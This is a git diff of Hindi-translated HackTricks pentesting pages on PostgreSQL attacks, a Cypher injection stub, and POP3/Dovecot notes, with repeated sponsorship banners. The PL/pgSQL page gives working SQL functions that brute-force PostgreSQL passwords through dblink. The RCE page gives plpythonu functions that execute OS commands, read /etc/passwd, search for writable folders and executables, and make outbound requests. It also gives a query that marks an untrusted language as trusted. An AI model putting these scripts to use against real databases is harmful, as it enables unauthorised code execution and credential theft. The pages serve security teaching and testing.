| `auth_debug` | सभी प्रमाणीकरण डिबग लॉगिंग सक्षम करता है। |
| `auth_debug_passwords` | यह सेटिंग लॉग की verbosity, प्रस्तुत पासवर्ड और स्कीम को लॉग करती है। |
| `auth_debug_passwords` | यह सेटिंग लॉग verbosity, प्रस्तुत पासवर्ड और स्कीम को लॉग करती है। |
| `auth_verbose` | असफल प्रमाणीकरण प्रयासों और उनके कारणों को लॉग करता है। |
| `auth_verbose_passwords` | प्रमाणीकरण के लिए उपयोग किए गए पासवर्ड लॉग किए जाते हैं और इन्हें संक्षिप्त भी किया जा सकता है। |
| `auth_anonymous_username` | यह ANONYMOUS SASL तंत्र के साथ लॉगिन करते समय उपयोग किए जाने वाले उपयोगकर्ता नाम को निर्दिष्ट करता है। |
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने** के लिए पहुंच प्राप्त करना चाहते हैं? [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks सामान प्राप्त करें**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **अपने हैकिंग ट्रिक्स साझा करें PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में सबमिट करके।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Cypher Injection (नियो4ज)
# Cypher Injection (neo4j)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड** करने का एक्सेस चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
निम्नलिखित ब्लॉग्स की जांच करें:
निम्नलिखित ब्लॉग देखें:
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड** करने का एक्सेस चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# PL/pgSQL पासवर्ड ब्रूटफोर्स
# PL/pgSQL Password Bruteforce
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**इस हमले के बारे में अधिक जानकारी के लिए [मूल पेपर में जाएं](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
PL/pgSQL एक **पूरी विशेषताएँ वाली प्रोग्रामिंग भाषा** है जो SQL की क्षमताओं को बढ़ाकर **प्रक्रियात्मक नियंत्रण** प्रदान करती है। इसमें लूप्स और विभिन्न नियंत्रण संरचनाएँ शामिल हैं। PL/pgSQL भाषा में बनाए गए फ़ंक्शन SQL वाक्यों और ट्रिगर्स द्वारा आह्वानित किए जा सकते हैं, जिससे डेटाबेस वातावरण में कार्रवाई की दायरा विस्तारित होता है।
PL/pgSQL एक **पूर्ण विशेषताओं वाली प्रोग्रामिंग भाषा** है जो SQL की क्षमताओं से परे बढ़ती है और **उन्नत प्रक्रियात्मक नियंत्रण** प्रदान करती है। इसमें लूप और विभिन्न नियंत्रण संरचनाओं का उपयोग शामिल है। PL/pgSQL भाषा में बनाई गई फ़ंक्शंस को SQL स्टेटमेंट और ट्रिगर्स द्वारा बुलाया जा सकता है, जो डेटाबेस वातावरण के भीतर संचालन के दायरे को बढ़ाता है।
आप इस भाषा का दुरुपयोग करके PostgreSQL से उपयोगकर्ताओं के क्रेडेंशियल्स को ब्रूटफ़ोर्स करने के लिए इस्तेमाल कर सकते हैं, लेकिन यह डेटाबेस पर मौजूद होना चाहिए। आप इसकी मौजूदगी की जांच करने के लिए इस्तेमाल कर सकते हैं:
आप इस भाषा का दुरुपयोग करहैं ताकि PostgreSQL से उपयोगकर्ता क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए कहा जा सके, लेकिन यह डेटाबेस पर मौजूद होना चाहिए। आप इसकी उपस्थिति की पुष्टि कर सकते हैं:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
डिफ़ॉल्ट रूप से, **फ़ंक्शन बनाना एक विशेषाधिकार है जो सार्वजनिक को प्रदान किया गया है**, जहां सार्वजनिक उस डेटाबेस सिस्टम पर हर उपयोगकर्ता को संदर्भित करता है। इसे रोकने के लिए, प्रशासक को सार्वजनिक डोमेन से USAGE विशेषाधिकार को रद्द करना पड़ सकता है:
डिफ़ॉल्ट रूप से, **फंक्शंस बनाना PUBLIC को दिया गया एक विशेषाधिकार है**, जहाँ PUBLIC उस डेटाबेस सिस्टम पर हर उपयोगकर्ता को संदर्भित करता है। इसे रोकने के लिए, व्यवस्थापक को PUBLIC डोमेन से USAGE विशेषाधिकार को वापस लेना पड़ सकता था:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
उस मामले में, हमारा पिछला क्वेरी विभिन्न परिणाम निकालेगा:
इस मामले में, हमारी पिछली क्वेरी विभिन्न परिणामों को आउटपुट करेगी:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
नोट करें कि निम्नलिखित स्क्रिप्ट काम करने के लिए **फ़ंक्शन `dblink` मौजूद होना चाहिए**। अगर यह मौजूद नहीं है तो आप इसे निम्नलिखित के साथ बनाने की कोशिश कर सकते हैं&#x20;
ध्यान दें कि निम्नलिखित स्क्रिप्ट के काम करने के लिए **फंक्शन `dblink` का होना आवश्यक है**। यदि यह मौजूद नहीं है, तो आप इसे बनाने की कोशिश कर सकते हैं&#x20;
```sql
CREATE EXTENSION dblink;
```
## पासवर्ड ब्रूट फोर्स
## Password Brute Force
यहाँ ऐसे कैसे कर सकते हैं कि आप 4 वर्णों का पासवर्ड ब्रूटफोर्स कर सकते हैं:
यहाँ बताया गया है कि आप 4 अक्षरों के पासवर्ड ब्रूटफोर्स कैसे कर सकते हैं:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_ध्यान दें कि 4 वर्णों का ब्रूट फोर्सिंग कई मिनट ले सकता है।_
_ध्यान दें कि 4 अक्षरों को ब्रूट-फोर्स करना भी कई मिनट ले सकता है।_
आप भी **एक शब्द सूची डाउनलोड** कर सकते हैं और केवल उन पासवर्ड की कोशिश कर सकते हैं (शब्दकोश हमला):
आप **एक शब्द सूची डाउनलोड** कर सकते हैं और केवल उन पासवर्डों को आजमा सकते हैं (शब्दकोश हमला):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** में पीआर जमा करके [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,41 +1,41 @@
# RCE with PostgreSQL Languages
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर\*\* **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PostgreSQL Languages
आपको पहुंचने वाला PostgreSQL डेटाबेस विभिन्न **स्क्रिप्टिंग भाषाएं इंस्टॉल की गई हो सकती हैं** जिन्हें आप **अवचेतन कोड चलाने** के लिए दुरुपयोग कर सकते हैं।
आप **उन्हें चला सकते हैं**:
आपके पास जो PostgreSQL डेटाबेस है, उसमें विभिन्न **स्क्रिप्टिंग भाषाएँ स्थापित** हो सकती हैं, जिनका आप **मनमाने कोड** को **निष्पादित** करने के लिए दुरुपयोग कर सकते हैं।
आप उन्हें **चलाने** के लिए कर सकते हैं:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
एक बार जब आप PostgreSQL में स्क्रिप्टिंग भाषाएं इंस्टॉल कर सकते हैं, उनके **2 प्रकार** होते हैं: **विश्वसनीय** और **अविश्वसनीय****अविश्वसनीय** एक नाम होगा **"u" से समाप्त** और यह संस्करण आपको **कोड को निष्पादित** करने और अन्य दिलचस्प फ़ंक्शन का उपयोग करने की अनुमति देगा। ये भाषाएं रुचिकर हो सकती हैं अगर इन्हें इंस्टॉल किया गया है:
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ... (कोई भी अन्य प्रोग्रामिंग भाषा जो एक असुरक्षित संस्करण का उपयोग करती है)
* ... (any other programming language using an insecure version)
{% hint style="warning" %}
अगर आपको लगता है कि कोई रुचिकर भाषा **इंस्टॉल की गई है** लेकिन PostgreSQL द्वारा **अविश्वसनीय** मानी जाती है (**`lanpltrusted`** **`false`** है) तो आप इसे **विश्वसनीय बनाने** की कोशिश कर सकते हैं ताकि PostgreSQL द्वारा कोई प्रतिबंध लागू न हों:
यदि आप पाते हैं कि एक दिलचस्प भाषा **स्थापित** है लेकिन PostgreSQL द्वारा **अविश्वसनीय** है (**`lanpltrusted`** **`false`** है) तो आप इसे **विश्वसनीय** बनाने के लिए निम्नलिखित पंक्ति का प्रयास कर सकते हैं ताकि PostgreSQL द्वारा कोई प्रतिबंध लागू न हो:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -44,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
{% endhint %}
{% hint style="danger" %}
अगर आप किसी भाषा को नहीं देखते ह। तो आप इसे लोड करने की कोशिश कर सकते हैं (**आपको सुपर एडमिन होना चाहिए**):
यदि आप एक भाषा नहीं देखते हैं, तो आप इसे लोड करने की कोशिश कर सकते हैं (**आपको सुपरएडमिन होना चाहिए**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -55,10 +54,12 @@ CREATE EXTENSION plrubyu;
```
{% endhint %}
ध्यान दें कि सुरक्षित संस्करणों को "असुरक्षित" रूप में कॉम्पाइल करना संभव है। [**यह**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) की जाँच करें। उदाहरण के लिए। इसलिए यह हमेशा मूल्यवान है कि क्या आप कोड को निष्पादित कर सकते हैं यदि आपको केवल **विश्वसनीय** वाला ही मिलता है
ध्यान दें कि सुरक्षित संस्करणों को "असुरक्षित" के रूप में संकलित करना संभव है। उदाहरण के लिए [**यहाँ**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) देखें। इसलिए यह हमेशा प्रयास करने लायक है कि क्या आप कोड निष्पादित कर सकते हैं, भले ही आप केवल **विश्वसनीय** संस्करण स्थापित पाएँ
## plpythonu/plpython3u
{% tabs %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
@ -71,7 +72,9 @@ LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="OS उपयोगकर्ता प्राप्त करें" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -83,7 +86,9 @@ LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="सूची निर्देशिका" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -97,7 +102,9 @@ LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="W फ़ोल्डर खोजें" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
@ -124,7 +131,9 @@ LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="फाइल खोजें" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -157,7 +166,9 @@ LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="कार्यकारी फ़ाइलें खोजें" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
@ -189,7 +200,9 @@ LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="सब्स द्वारा exec खोजें" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -222,7 +235,9 @@ LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="पढ़ें" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -236,9 +251,9 @@ LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
प्रमाण प्राप्त करें
{% tab title="अनुमतियाँ प्राप्त करें" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
@ -252,7 +267,9 @@ LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
{% endtab %}
{% tab title="अनुरोध" %}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
@ -276,10 +293,12 @@ LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
## pgSQL
निम्नलिखित पृष्ठ की जाच करें:
निम्नलिखित पृष्ठ की जाच करें:
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
@ -287,20 +306,23 @@ SELECT req3('https://google.com'); #Request using python3
## C
निम्नलिखित पृष्ठ की जाच करें:
निम्नलिखित पृष्ठ की जाच करें:
{% content-ref url="rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
